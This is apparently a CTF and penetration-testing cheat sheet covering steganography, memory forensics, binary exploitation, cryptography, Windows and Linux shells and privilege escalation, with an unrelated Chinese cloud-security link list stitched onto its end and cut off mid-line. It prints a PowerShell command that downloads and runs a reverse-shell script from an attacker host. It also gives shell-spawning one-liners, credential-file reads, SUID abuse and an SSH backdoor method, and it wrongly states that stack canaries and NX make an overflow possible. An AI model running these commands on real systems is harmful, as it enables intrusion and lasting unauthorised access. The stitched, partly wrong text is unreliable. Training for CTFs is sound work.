bin/stegsolve.jar ``` ### Stegseek [Stegseek](https://github.com/RickdeJager/stegseek) is a lightning fast steghide cracker After installing stegseek [here](https://github.com/RickdeJager/stegseek/blob/master/BUILD.md), you can use it to crack a password protected steghide file with the following command: ```bash stegseek <file> ``` ### Stegoveritas Stegoveritas supports just about every image file, and is able to extract all types of data from it **Installation:** ```console berkankutuk@kali:~$ sudo pip3 install stegoveritas berkankutuk@kali:~$ stegoveritas_install_deps ``` **Useful commands:** `stegoveritas filename` - Simple stego scan `stegoveritas -meta filename` - Check file for metadata information `stegoveritas -steghide filename` - Check for StegHide hidden info. `stegoveritas -extractLSB filename` - Extract a specific LSB RGB from the image. ### Stego-toolkit Collection of steganography tools - helps with CTF challenges ### Strings Strings is a linux tool that displays printable strings in a file. That simple tool can be very helpful when solving stego challenges. Usually the embedded data is password protected or encrypted and sometimes the password is actaully in the file itself and can be easily viewed by using strings. It’s a default linux tool so you don’t need to install anything. **Useful commands:** `strings file` displays printable strings in the given file ### Exiftool Sometimes important stuff is hidden in the metadata of the image or the file , exiftool can be very helpful to view the metadata of the files. **Useful commands:** `exiftool file` shows the metadata of the given file ### Exiv2 A tool similar to exiftool. **Useful commands:** `exiv2 file` shows the metadata of the given file ### Binwalk Binwalk is a tool for searching binary files like images and audio files for embedded files and data. **Useful commands:** `binwalk <filepath>` Displays the embedded data in the given file `binwalk -e <filepath>` Displays and extracts the data from the given file ### Foremost `foremost` is another file carving tool like binwalk, and can be installed with `sudo apt-get install foremost`. **Useful commands:** Search for all file types in the given image file `foremost image.png` Search for a selection of file types in the given image file (`-i image.dd`) `foremost -t doc,jpg,pdf,xls -i image.dd` ### Zsteg zsteg is a tool that can detect hidden data in png and bmp files. **Useful commands:** `zsteg file` Runs a simple scan on the given file `zsteg -a file` Runs all the methods on the given file `zsteg -E file` Extracts data from the given payload (example : zsteg -E b4,bgr,msb,xy name.png) `zsteg -l 0 file` Limits the bytes checked to 0 ### Jsteg Another command-line tool to use against JPEG Images ### Zbarimg A command-line tool to quickly scan multiple forms of barcodes (QR Codes) Install with `sudo apt install zbar-tools` **Useful commands:** `zbarimg <filename>` Alternatively, you can use a online tool like [zxing](https://zxing.org/w/decode.jspx) to decode QR codes. ### Wavsteg WavSteg is a python3 tool that comes with the package `stegolsb` which can hide data and files in wav files and can also extract data from wav files. **Useful commands:** `python3 WavSteg.py -r -i soundfile -o outputfile` extracts data from a wav sound file and outputs the data into a new file Use an online tool like [Databorder Morse](https://databorder.com/transfer/morse-sound-receiver/) or [Morse Code World](https://morsecode.world/international/decoder/audio-decoder-adaptive.html) if the wav file contains morse code. ### Outguess OutGuess is a universal tool for steganography that allows the insertion of hidden information into the redundant bits of data sources. The supported formats are JPEG, PPM and PNM. **Useful commands:** To embed the message hidden.txt into the monkey.jpg image: `outguess -k "my secret pass phrase" -d hidden.txt monkey.jpg out.jpg` Retrieve the hidden message from the image: `outguess -k "my secret pass phrase" -r out.jpg message.txt` **Options:** `-k <key>` key `-d <name>` filename of dataset `-p <param>` parameter passed to destination data handler `-r` retrieve message from data ### Sonic visualizer Sonic visualizer is a tool for viewing and analyzing the contents of audio files, however it can be helpful when dealing with audio steganography. You can reveal hidden shapes in audio files or use it to se hidden images inside audio files. `Layer->Add Spectrogram` should work ## Memory analysis Traditionel computer forensics can be made out of volatile memory. What is volatile data? * Volatile data: non-permanent data, disappears when the power goes out * Typically the contents of main memory RAM * "Live box forensics" * Analysis takes place on a memory dump - provides a snapshot Data that can be found in volatile memory * Running processes and services * Open files * Network connections * Run commands * Passwords, keys * Unencrypted data that is encrypted on disk but must be used in decrypted mode in memory * Stateless malware - malware that lives only in memory * Even things like a basic screenshot or the user's clipboard A tool used for analyzing memory dumps is [volatility 3](https://github.com/volatilityfoundation/volatility3). ### Volatility 3 Volatility 3 is a memory forensics framework that allows you to analyze memory dumps. **Useful commands:** * `vol.py -f <memory dump> imageinfo` - Get information about the memory dump * `vol.py -f <file> windows.filescan.FileScan` - List all files in the memory dump * `vol.py -f <file> windows.pslist.PsList` - List all processes in the memory dump * `vol.py -f <file> windows.dumpfiles.DumpFiles --virtaddr <address>` - Dump a file from the memory dump * `--pid PID` Process ID to include (all other processes are excluded) * `--virtaddr VIRTADDR` Dump a single _FILE_OBJECT at this virtual address * `--physaddr PHYSADDR` Dump a single _FILE_OBJECT at this physical address Remember to append the `--output-dir <directory>` flag to save the output to a directory. Or simply redirect the output to a file with `> <filename>`. ## Disk imaging `TO BE ADDED` # Binary Exploitation ## Registers `TO BE ADDED` ## The Stack `TO BE ADDED` ### Stack Overflow To see if a stack overflow is possible, run the following command: ```bash checksec --file=<executable> ``` If the output contains `Canary found` and `NX enabled`, then a stack overflow is possible. See more about this command [here](/More/Binary%20Exploitation/Checksec.md). ## Calling Conventions `TO BE ADDED` ## Global Offset Table (GOT) `TO BE ADDED` ## Buffers ### Buffer Overflow Buffer overflow is a type of security vulnerability that occurs when a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations. This can cause the program to crash or, in the case of a remote attacker, to execute arbitrary code on the system. **Quick note:** * If some C code contains the function `gets()` or `strcpy()`, it is vulnerable to a buffer overflow attack. * An important part of the memory we can overwrite is the instruction pointer (IP/return address), which is called the eip on 32-bit machines, and rip on 64-bit machines. The IP points to the next instruction to be executed, so if we redirect the eip in a binary to point to a different location, we can execute arbitrary code. * The top of the stack is pointed to by the SP (or stack pointer) which is called esp in 32-bit machines. ### Buffer Overflow Exploitation example A very simple example of a buffer overflow exploit looks like the following: ```bash python -c "print ('A' * 100)" | ./<executable> ``` ## Return Oriented Programming (ROP) Return Oriented Programming (ROP) works by chaining together small pieces of code, called "gadgets," that are already present in the target program's memory space to perform a series of operations that the attacker desires. Each gadget typically ends with a "return" instruction that tells the program where to continue executing code after the gadget has finished. By carefully selecting and chaining together gadgets that end with a return instruction, attackers can construct a "ROP chain" that allows them to execute their own code on the target system. This technique can be used to bypass security measures such as Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR). ## Binary Security A tool that can detect binary security security mechanisms is `checksec`. I've written about the tool [here](/More/Binary%20Exploitation/Checksec/Readme.md). ### No eXecute (NX) NX is a hardware security feature that prevents execution of code from non-executable memory regions. This helps to prevent certain types of attacks, such as buffer overflow exploits, which attempt to execute malicious code by overwriting the memory. ### Address Space Layout Randomization (ASLR) ASLR is a security technique that randomizes the memory layout of a process at runtime. This makes it more difficult for an attacker to predict the memory address of a vulnerable function or piece of data, and thus makes it harder to exploit certain types of vulnerabilities. ### Stack Canaries Stack Canaries is a security mechanism that detects buffer overflow attacks. It works by placing a small value, known as a "canary," on the stack before the return address. If a buffer overflow occurs, the canary value will be overwritten, and the program will detect the modification and terminate the execution. ### Relocation Read-Only (RELRO) RELRO is a security feature that makes certain sections of the program read-only after the dynamic linker has resolved all symbols. This prevents an attacker from overwriting important data or functions in memory, and can help to prevent certain types of attacks, such as the Global Offset Table (GOT) overwrite. ## The Heap ### Heap Exploitation `TO BE ADDED` ## Format String Vulnerability A format string vulnerability is a type of software vulnerability that occurs when a program uses user input to construct a format string for the `printf` or `scanf` functions without properly validating or sanitizing the input. This can allow an attacker to execute arbitrary code or read sensitive data from the program's memory. Read more about the functions [here](/More/Assembly/Common-C-functions.md). The format specifiers are the following: | Format Specifier | Description | |---|---| | %c | Character | | %d | Signed decimal integer | | %e | Scientific notation | | %f | Decimal floating point | | %g | Use the shortest representation: %e or %f | | %i | Signed decimal integer | | %o | Unsigned octal | | %s | String of characters | | %u | Unsigned decimal integer | | %x | Unsigned hexadecimal integer | | %X | Unsigned hexadecimal integer (uppercase) | ### Format String Vulnerability Exploitation example A simple example of a format string vulnerability is the following: ```bash python -c "print ('%x ' * 100)" | ./<executable> # Local python -c "print ('%x ' * 100)" | nc <host> <port> # Remote ``` Its also possible to brute force the stack for values. ```python from pwn import * for i in range(1, 50): r = remote('<host>', <port>) r.sendline('%' + str(i) + '$s') print('%' + str(i) + '$s') print(r.recv()) ``` # Reverse Engineering ## Assembly Find the in-depth content for the Assembly x86-64 language [here](/More/Assembly/Readme.md) inside this repository. `TO BE ADDED` ## Disassemblers Reverse-engineering is the creative process of analyzing software and understanding it without having access to the source code. It is the process by which software is deconstructed in a way that reveals its innermost details such as its structure, function and operation. ### gdb GDB, the GNU Project debugger, allows you to see what is going on `inside' another program while it executes -- or what another program was doing at the moment it crashed. ```bash berkankutuk@kali:~$ gdb <binary file>` # opens the binary file in gdb (gdb)> break <function name> # sets a breakpoint at the given function (gdb)> break *<addr> # sets a breakpoint at the given address (gdb)> run # runs the program until it reaches the first breakpoint (gdb)> run < <input file> # runs the program with the given input file (gdb)> disassemble <function name> # disassembles the given function (gdb)> x /s <addr> # prints a string from memory address (gdb)> continue # continues the execution of the program (gdb)> info registers # prints the values of the registers (gdb)> info variables # prints the values of the variables (gdb)> info functions # prints the functions (gdb)> exploit # runs the exploit (gdb)> x # inspect memory locations (gdb)> quit # quits gdb ``` ### radare2 Radare2 is an open-source framework that can perform disassembly, debugging, analysis, comparing data and manipulation of binary files. ```bash berkankutuk@kali:~$ r2 <binary file>` # opens the binary file in radare2 berkankutuk@kali:~$ r2 -d <binary file>` # opens the binary file in radare2 in debug mode # General [0x00400510]> aaa # Analyze the binary [0x00400510]> afl # List functions [0x00400510]> s main # Go to main function [0x00400510]> pdf # Print disassembled function [0x00400510]> s/ password # Search for data within the code [0x00400510]> V # Hex view # Debug mode [0x00400510]> dc # Launch the executable [0x00400510]> dr # Check register state ``` ### Ghidra Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency (NSA). It is a free and open-source software reverse engineering tool released under the Apache License 2.0. ```bash berkankutuk@kali:~$ ghidraRun <binary file>` # opens the binary file in ghidra ``` Ghidra GUI ```bash Right click -> Patch Instruction -> Values # Patch the instruction with the given values File -> Export Program -> Export as ELF # Export the binary as an ELF file Symbol Tree -> Functions # List functions (ex. Main) ``` ## Call Graphs [Cytoscape](https://github.com/cytoscape/cytoscape) is a tool for network analysis and visualization that can be used to see call graphs. **Useful functions:** - Layout -> Grid View = Show a grid view of the nodes. - Pathlinker = Find paths between nodes. Needs a source and a target node. K = number of paths to find. Is mostly one in CTF situations. # Cryptography ## Decrypting Methods ### Cryptii [Cryptii](https://cryptii.com) has multiple decoding tools like base64, Ceaser Cipher, ROT13, Vigenère Cipher and more. ### Keyboard Shift [Dcode](https://www.dcode.fr/keyboard-shift-cipher) If you see any thing that has the shape of a sentence but it looks like nonsense letters, and notes some shift left or right, it may be a keyboard shift... ### Bit Shift Sometimes the letters may be shifted by a stated hint, like a binary bit shift ( x >> 1 ) or ( x << 1 ). ### Reversed Text Sometimes a "ciphertext" is just as easy as reversed text. Don't forgot to check under this rock! You can reverse a string in Python like so: "UOYMORFEDIHOTGNIYRTEBTHGIMFTCA.TAHTTERCESASISIHT"[::-1] ### XOR ANY text could be XOR'd. Techniques for this are Trey's code, and XORing the data against the known flag format. Typically it is given in just hex, but once it is decoded into raw binary data, it gives it keeps it's hex form (as in \xde\xad\xbe\xef etc..) Note that you can do easy XOR locally with Python like so (you need pwntools installed): `python >>> import pwn; pwn.xor("KEY", "RAW_BINARY_CIPHER")` ### Vigenère Cipher The Vigenère cipher is a method of encrypting alphabetic text by using a series of interwoven Caesar ciphers, based on the letters of a keyword. It employs a form of polyalphabetic substitution. The encryption of the original text is done using the Vigenère square or Vigenère table. It is a table of alphabets written out 26 times in different rows, each alphabet shifted cyclically to the left compared to the previous alphabet, corresponding to the 26 possible Caesar ciphers. At different points in the encryption process, the cipher uses a different alphabet from one of the rows. The alphabet used at each point depends on a repeating keyword. ### Caesar Cipher The Caesar cipher is one of the earliest known and simplest ciphers. It is a type of substitution cipher in which each letter in the plaintext is replaced by a letter some fixed number of positions down the alphabet. For example, with a left shift of 3, D would be replaced by A, E would become B, and so on. The method is named after Julius Caesar, who used it in his private correspondence. ### ROT13 ROT13 is a simple letter substitution cipher that replaces a letter with the letter 13 letters after it in the alphabet. ROT13 is an example of the Caesar cipher which was developed in ancient Rome. ### Substitution Cipher A substitution cipher is a method of encoding by which units of plaintext are replaced with ciphertext, according to a fixed system; the "units" may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing the inverse substitution. Useful tools for substitution ciphers are [Cryptii](https://cryptii.com) and [Dcode](https://www.dcode.fr/substitution-cipher). ## Encoding Encoded data can be decoded immediately, without keys. It's NOT a form of encryption, it just a way of representing data. **A very popular encoding is Base64.** The basic idea behind Base64 encoding is to represent binary data using only ASCII characters. To do this, Base64 converts each 3 bytes of binary data into 4 bytes of ASCII text. The 3 bytes of binary data are divided into 4 groups of 6 bits each, which are then represented by a character from a set of 64 characters. The 64 characters used in Base64 are: `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/` The equals sign (=) is also used as a padding character to ensure that the length of the output is a multiple of 4 characters. For example, let's say we want to encode the binary data "`011000010110001001100011`", which represents the ASCII characters "`abc`". To encode this data in Base64, we first divide it into 3-byte groups: `01100001 01100010 01100011` Then we divide each 3-byte group into 4 groups of 6 bits each: `011000 010110 001001 100011` Next, we convert each group of 6 bits to its corresponding Base64 character: `Y W J j` So the encoded Base64 string for "`abc`" is "`YWJj`". ### Encoding a string in the terminal ```bash echo -n "Hello World" | base64 ``` ### Decoding a string in the terminal ```bash echo -n "SGVsbG8gV29ybGQ=" | base64 -d ``` ### Encoding/Decoding files ```bash base64 /path/to/file > output.txt # Encoding base64 -d /path/to/file > output.txt # Decoding ``` ## Hashing Hashing is used for 2 main purposes in Cyber Security. To verify integrity of data, or for verifying passwords. plaintext ➡️ hash hash ⛔ plaintext Doing a lookup in a sorted list of hashes that are not salted is quite fast, much much faster than trying to crack the hash. But in case we have to crack, then its done by hashing a large number of different inputs (often rockyou.txt, these are the possible passwords), potentially adding the salt if there is one and comparing it to the target hash. Tools like Hashcat and John the Ripper are normally used for this. ## Ciphers `TO BE ADDED` ## Encryption (RSA) ### Symetric encryption plaintext ➡️ 🔑 ➡️ ciphertext plaintext ⬅️ 🔑 ⬅️ ciphertext (🔑 shared key) ### Asymetric encryption plaintext ➡️ 🔑 ➡️ ciphertext plaintext ⬅️ 🗝 ⬅️ ciphertext (🔑 public key, 🗝 private key Public key to encrypt, private key to decrypt. ### Cracking ecrypted files If you are using Kali linux or Parrot OS, you should have a binary add on called `gpg2john`. This binary program allows us to convert the gpg file into a hash string that john the ripper can understand when it comes to brute-forcing the password against a wordlist. How to use it (GPG example): ```bash gpg2john encrypted_file.txt.gpg > hash.txt ``` Then you can use john the ripper to crack the password. ```bash john --wordlist=/usr/shared/wordlists/rockyou.txt --format=gpg hash.txt ``` The result should reveal the password if you have used a strong wordlist that contains it. # Miscellaneous `TO BE ADDED` ## Shortened URLs You can see the actual website the shortened link is redirecting you to by appending "+" to it (see the examples below). Type the shortened URL in the address bar of the web browser and add the above characters to see the redirect URL. Example: [tinyurl.com/cn6xznu+](http://tinyurl.com/cn6xznu+) Example providers: - bit.ly - goo.gl - ow.ly - s.id - smarturl.it - tiny.pl - tinyurl.com - x.co ## Reading SQL databases Ensure you have the knowlege of SQL DBs first. See [here](/More/Databases). Start by starting the mysql service: ```bash service mysql start ``` ### Remote Connection Then connect to the database: ```bash mysql -u root -p -h <ip_address> ``` Now you can use the following commands to read the database: ```sql show databases; use <database_name>; show tables; select * from <table_name>; describe <table_name>; ``` ### Local Connection If you have access to the database file, you can use the following command to read it: ```bash mysql -u <username> -p ``` Type "source" followed by the filename of the mysql database to specify that you wish to view its database. ```sql source /home/berkan/serverLx/employees.sql -- example ``` You can now view the database using the commands from the previous section. # Windows Exploitation ## Active directory Active Directory is a collection of machines and servers connected inside of domains, that are a collective part of a bigger forest of domains, that make up the Active Directory network. Other related terms include: Domain controllers, Trusts & Policies, Services, Authentication & Cloud security. ## Windows Reverse Shells If you have access to PowerShell, you can get a Reverse shell by using [nishang's](https://github.com/samratashok/nishang) Invoke-PowerShellTcp.ps1 script inside of the Shells directory. Be sure to add the function call example to the bottom of your script, so all you need to to do to host it is (on your Attacker machine): ``` python -m SimpleHTTPServer ``` and then on the victim machine: ``` powershell IEX( New-Object Net.WebClient).DownloadString("http://10.10.14.6:8000/reverse.ps1") ) ``` Also, if you want to have nice up and down arrow key usage within your Windows reverse shell, you can use the utility rlwrap before your netcat listener command. ``` rlwrap nc -lnvp 9001 ``` ## Samba (SMB) smbmap tells you permissions and access, which smbclient does not do! **smbmap** To try and list shares as the anonymous user DO THIS (this doesn't always work for some weird reason) `smbmap -H <IP> -u anonymous` **enum4linux** Another enumeration tool is enum4linux which can be used like this: `enum4linux <ip>` **smbclient** You can use smbclient to look through files shared with SMB. To list available shares: `smbclient -m SMB2 -N -L //10.10.10.125/` For more, see this page: [Samba](More/Windows/Samba.md) # Shells and Privilege Escalation ## Public Exploits **Google** `openssh 7.2 exploit` **Exploit-DB** ```bash berkankutuk@kali:~$ sudo apt install exploitdb -y berkankutuk@kali:~$ searchsploit openssh 7.2 ``` **MetaSploit** * Running reconnaissance scripts to enumerate remote hosts and compromised targets * Verification scripts to test the existence of a vulnerability without actually compromising the target * Meterpreter, which is a great tool to connect to shells and run commands on the compromised targets Quick exploit search ```bash msf6 > search exploit eternalblue Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- <SNIP> EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 ``` Then to use it ```bash msf6 > use exploit/windows/smb/ms17_010_psexec ``` **Other** We can also utilize online exploit databases to search for vulnerabilities, like [Exploit DB](https://www.exploit-db.com/), [Rapid7 DB](https://www.rapid7.com/db/), or [Vulnerability Lab](https://www.vulnerability-lab.com/). ## TTY Shell The tty command of terminal basically prints the file name of the terminal connected to standard input. tty is short of teletype, but popularly known as a terminal it allows you to interact with the system by passing on the data (you input) to the system, and displaying the output produced by the system **Shell Spawning** `python -c 'import pty; pty.spawn("/bin/sh")'` `echo os.system('/bin/bash')` `/bin/sh -i` `perl —e 'exec "/bin/sh";'` `perl: exec "/bin/sh";` `ruby: exec "/bin/sh"` `lua: os.execute('/bin/sh')` From within IRB `exec "/bin/sh"` From within vi `:!bash` From within vi `:set shell=/bin/bash:shell` From within nmap `!sh` Many of these will also allow you to escape jail shells. The top 3 would be my most successful in general for spawning from the command line. ### Reverse Shells Reverse shells are used to connect back to a listening machine. This is useful when you have a shell on a machine, but you want to connect back to your own machine. A useful website to generate a reverse shell is [RevShells](https://www.revshells.com/). ### Shell stabilization `TO BE ADDED` ## Privilege Escalation Check for root password Run: `id` Run: `sudo -l` Locate password folder and crack it using johntheripper Or use [GTFOBins](https://gtfobins.github.io) You can also run: `wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh` on a target machine to see the files that stand out. Another option would be to run the following command to find all files with the SUID bit set: `find / -perm -u=s -type f 2>/dev/null` fine `find / -user root -perm 4000 -print 2>/dev/null` good `find / -user root -perm 4000 -exec ls -ldb {} \; 2>/dev/null` better `find / -user root -perm 4000 -exec ls -ldb {} \; 2>/dev/null | grep 'bin'` best `2>/dev/null` will filter out the errors so that they will not be output to your console ### Find info about the users of the system Find users on a system `cat /etc/passwd | grep “/bin/bash”` Find passwords `cat /etc/passwd` If you don't have privilege, try this `find / -name shadow* 2>/dev/null | head` I've explained the /etc/passwd format [here](/More/Linux%20Reinforced%20(CLI)/Passwd-file.md), in case you want to know more. ### Privilege Escalation using SUID Binaries `-rwsr-xr-x` “s” = SUID. This means that any user can execute these commands and they will be ran as the original owner. **Example** Lets say the `cat` command had the 's' in its SUID. Then you would be able to use something like the following command to read a flag: `find /home/berkan/flag1.txt -exec cat {} \;` ### Keeping a backdoor #### Using SSH Create a `.ssh` folder in the home directory of the user you want to keep a backdoor. Keep in mind that the permissions of the `.ssh` folder should be `700` and the files withing should be `600`. # Vulnerabilities A vulnerability in cybersecurity is defined as a weakness or flaw in the design, implementation or behaviours of a system or application. An attacker can exploit these weaknesses to gain access to unauthorised information or perform unauthorised actions There are arguably five main categories of vulnerabilities: | Vulnerability | Description | |:---:|:---:| | Operating System | These types of vulnerabilities are found within Operating Systems (OSs) and often result in privilege escalation. | | (Mis)Configuration-based | These types of vulnerability stem from an incorrectly configured application or service. For example, a website exposing customer details. | | Weak or Default Credentials | Applications and services that have an element of authentication will come with default credentials when installed. For example, an administrator dashboard may have the username and password of "admin". These are easy to guess by an attacker. | | Application Logic | These vulnerabilities are a result of poorly designed applications. For example, poorly implemented authentication mechanisms that may result in an attacker being able to impersonate a user. | | Human-Factor | Human-Factor vulnerabilities are vulnerabilities that leverage human behaviour. For example, phishing emails are designed to trick humans into believing they are legitimate. | ## Social Engineering ### Phishing #### Phishing terms **A BEC (Business Email Compromise)** is when an adversary gains control of an internal employee's account and then uses the compromised email account to convince other internal employees to perform unauthorized or fraudulent actions. **A typosquatting attack**, also known as a URL hijacking, a sting site, or a fake URL, is a type of social engineering where threat actors impersonate legitimate domains for malicious purposes such as fraud or malware spreading. #### Types of Phishing attacks **Spam** - unsolicited junk emails sent out in bulk to a large number of recipients. The more malicious variant of Spam is known as MalSpam. **Phishing** - emails sent to a target(s) purporting to be from a trusted entity to lure individuals into providing sensitive information. **Spear phishing** - takes phishing a step further by targeting a specific individual(s) or organization seeking sensitive information. **Whaling** - is similar to spear phishing, but it's targeted specifically to C-Level high-position individuals (CEO, CFO, etc.), and the objective is the same. **Smishing** - takes phishing to mobile devices by targeting mobile users with specially crafted text messages. **Vishing** - is similar to smishing, but instead of using text messages for the social engineering attack, the attacks are based on voice calls. #### Analyze/identify 1. Open Email 2. See its raw format 3. Analyze the results: * **X-Originating-IP** - The IP address of the email was sent from (this is known as an X-header) * **Smtp.mailfrom/header.from** - The domain the email was sent from (these headers are within Authentication-Results) * **Reply-To** - This is the email address a reply email will be sent to instead of the From email address In case the mail is encoded using base64, the following command can be used to decrypt the message: `base64 -d <filename> > decrypted.<filetype>` #### Phishing security Hyperlinks and IP addresses should be [defanged](https://www.ibm.com/docs/en/rsoa-and-rp/32.0?topic=SSBRUQ_32.0.0/com.ibm.resilient.doc/install/resilient_install_defangURLs.htm). Expand shortened links with this [tool](https://www.expandurl.net). ## Misconfigurations ### Printer Hacking (IPP) Enumeration and exploitation tools can be found [here](https://github.com/RUB-NDS/PRET). Printer security cheat sheet can be found [here](http://hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet). It allows clients to submit one or more print jobs to the printer or print server, and perform tasks such as querying the status of a printer, obtaining the status of print jobs, or canceling individual print jobs." Most of them appear to run the CUPS server (which is a simple UNIX printing system). Running `python pret.py` will start an automatic printer discovery in your local network.
--- title: 云安全资源 --- <h1 align="center">Awesome Cloud Security 云安全资源汇总 💫 </h1> <p align="center"> <a href="https://github.com/teamssix/awesome-cloud-security/stargazers" target="_blank"><img alt="GitHub stars" src="https://img.shields.io/github/stars/teamssix/awesome-cloud-security" /></a> <a href="https://wiki.teamssix.com" target="_blank"><img alt="T Wiki" src="https://img.shields.io/badge/T%20Wiki%20-%E4%BA%91%E5%AE%89%E5%85%A8%E7%9F%A5%E8%AF%86%E6%96%87%E5%BA%93-blue" /></a> <a href="https://wiki.wgpsec.org" target="_blank"><img alt="WgpSec Wiki" src="https://img.shields.io/badge/%E7%8B%BC%E7%BB%84%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F-%E7%9F%A5%E8%AF%86%E6%96%87%E5%BA%93-blue" /></a> <a href="http://wiki.peiqi.tech" target="_blank"><img alt="PeiQi Wiki" src="https://img.shields.io/badge/PeiQi-%E7%9F%A5%E8%AF%86%E6%96%87%E5%BA%93-blue" /></a> </a> <a href="https://twitter.com/intent/tweet/?text=Awesome%20Cloud%20Security%20%20%E4%BA%91%E5%AE%89%E5%85%A8%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB%20%F0%9F%92%AB%20%0Ahttps%3A%2F%2Fgithub.com%2Fteamssix%2Fawesome-cloud-security%0A%23awesome%20%23cloud%20%23security%20%23cloudsecurity%20%23cybersecurtiy" target="_blank"><img alt="tweet" src="https://img.shields.io/twitter/url?url=https://github.com/teamssix/awesome-cloud-security" /></a> <a href="https://twitter.com/teamssix" target="_blank"><img alt="Twitter" src="https://img.shields.io/twitter/follow/teamssix?label=Followers&style=social" /></a> <a href="https://github.com/teamssix" target="_blank"><img alt="Github" src="https://img.shields.io/github/followers/TeamsSix?style=social" /></a> </p></br> --- ## 0x01 资料 :books: ### 1 综合 * T Wiki 云安全知识文库 :fire: [地址](https://wiki.teamssix.com/) * Hacking The Cloud(英文) [地址](https://hackingthe.cloud/) * Cloud Security Wiki(英文)[地址](https://cloudsecwiki.com/index.html) * 云服务漏洞库(英文)[地址](https://www.cloudvulndb.org/) * 2021 年云安全事件回顾(英文)[地址](https://blog.christophetd.fr/cloud-security-breaches-and-vulnerabilities-2021-in-review/) * 云渗透技巧 HackTricks Cloud(英文)[地址](https://cloud.hacktricks.xyz) * 云风险百科(英文)[地址](https://orca.security/resources/cloud-risk-encyclopedia/) * 火线云安全知识库 [地址](https://cloudsec.huoxian.cn/) * 云安全文库(英文)[地址](https://cloudsecdocs.com) * 云渗透笔记 CloudPentestCheatsheets(英文)[地址](https://github.com/dafthack/CloudPentestCheatsheets) ![GitHub stars](https://img.shields.io/github/stars/dafthack/CloudPentestCheatsheets) `由「Kfzz1」师傅补充,感谢支持` * AWS 攻击知识库 WeirdAAL (英文) [地址](https://github.com/carnal0wnage/weirdAAL) ![GitHub stars](https://img.shields.io/github/stars/carnal0wnage/weirdAAL) * T Wiki 云安全知识文库项目 [地址](https://github.com/teamssix/TWiki) ![GitHub stars](https://img.shields.io/github/stars/teamssix/TWiki) ` T Wiki 文库现已开源,可部署到自己本地方便内网阅读` * 云安全入门资料 [地址](https://github.com/Esonhugh/Attack_Code) ![GitHub stars](https://img.shields.io/github/stars/Esonhugh/Attack_Code) * 云安全向导 [地址](https://github.com/GRQForCloud/cloud-security-guides) ![GitHub stars](https://img.shields.io/github/stars/GRQForCloud/cloud-security-guides) ### 2 博客资讯 * 火线安全每日云安全资讯 [地址](https://cloudsec.huoxian.cn/docs/information) * 腾讯云鼎每日云安全资讯 [地址](https://cloudsec.tencent.com/info/list.html) * TeamsSix 的个人博客 [地址](https://teamssix.com/) * Lightspin 博客(英文)[地址](https://blog.lightspin.io/) * Sysdig 云安全报告资讯(英文)[地址](https://sysdig.com/resources/reports/) * Sysdig 博客(英文)[地址](https://sysdig.com/blog/) * 容器杂志资讯(英文)[地址](https://containerjournal.com/) * DevOps 安全博客(英文)[地址](https://www.conjur.org/blog/) * Aqua 博客(英文)[地址](https://blog.aquasec.com/) * Lightspin 博客(英文)[地址](https://blog.lightspin.io/) * CNCF 博客(英文)[地址](https://www.cncf.io/blog/) * WIZ 博客(英文)[地址](https://www.wiz.io/blog/) * Rhino Security Labs 博客(英文)[地址](https://rhinosecuritylabs.com/blog/?category=cloud-security) * Bridgecrew 博客(英文)[地址](https://bridgecrew.io/blog/) * Trend Micro 博客(英文)[地址](https://www.trendmicro.com/en_us/devops.html) * 安全大道资讯(英文)[地址](https://securityboulevard.com/cloud-security/) * Deepfence 博客(英文)[地址](https://deepfence.io/blog/) * Lacework 博客(英文)[地址](https://www.lacework.com/blog/) * Humanitec 博客(英文)[地址](https://humanitec.com/blog) * Orca 博客(英文)[地址](https://orca.security/resources/blog/) * Praetorian 博客(英文)[地址](https://www.praetorian.com/blog) * Ermetic 博客(英文)[地址](https://ermetic.com/blog) * Christophe Tafani-Dereeper 博客(英文)[地址](https://blog.christophetd.fr/) * 福布斯 Cloud 100(英文)[地址](https://forbes.com/lists/cloud100/) * Gafnit Amiga 的个人博客(英文)[地址](https://gafnit.blog/) * Nick Frichette 的个人博客(英文)[地址](https://frichetten.com/) * Chris Farris 的个人博客(英文)[地址](https://www.chrisfarris.com/) * HashiCorp 博客(英文)[地址](https://www.hashicorp.com/blog) * PeoplActive 博客(英文)[地址](https://peoplactive.com/blog/) * 绿盟技术博客 [地址](http://blog.nsfocus.net/tag/%e4%ba%91%e5%ae%89%e5%85%a8/) * devops 资讯(英文)[地址](https://devops.com/) * 0xd4y 博客(英文)[地址](https://0xd4y.com/) * AWS 安全公告(英文)[地址](https://aws.amazon.com/security/security-bulletins) * CIS Benchmarks 下载页(英文)[地址](https://downloads.cisecurity.org) * 云安全资讯(每周更新一次)(英文)[地址](https://cloudseclist.com/past-issues) * 云原生实验室博客 [地址](https://icloudnative.io) `由「DVKunion」师傅补充,感谢支持` * 云计算市场资讯(英文)[地址](https://interconnected.blog/tag/cloud-industry) ### 3 公众号 * TeamsSix * 火线 Zone * 云鼎实验室 * 绿盟科技研究通讯 * 默安逐日实验室 * Linux 云计算网络 `由「zxynull」师傅补充,感谢支持` * 云原生技术社区 `由「zxynull」师傅补充,感谢支持` * 进击云原生 `由「zxynull」师傅补充,感谢支持` * CNCF * 容器魔方 * 云计算D1net * 云原生社区动态 * 大可不加冰 ### 4 推特 * TeamsSix [![Twitter Follow](https://img.shields.io/twitter/follow/teamssix)](https://twitter.com/teamssix) * 0xd4y [![Twitter Follow](https://img.shields.io/twitter/follow/0xd4y)](https://twitter.com/0xd4y) * Andy Robbins [![Twitter Follow](https://img.shields.io/twitter/follow/_wald0)](https://twitter.com/_wald0) * Beau Bullock [![Twitter Follow](https://img.shields.io/twitter/follow/dafthack)](https://twitter.com/dafthack) * Chris Farris [![Twitter Follow](https://img.shields.io/twitter/follow/jcfarris)](https://twitter.com/jcfarris) * Christophe Tafani-Dereeper [![Twitter 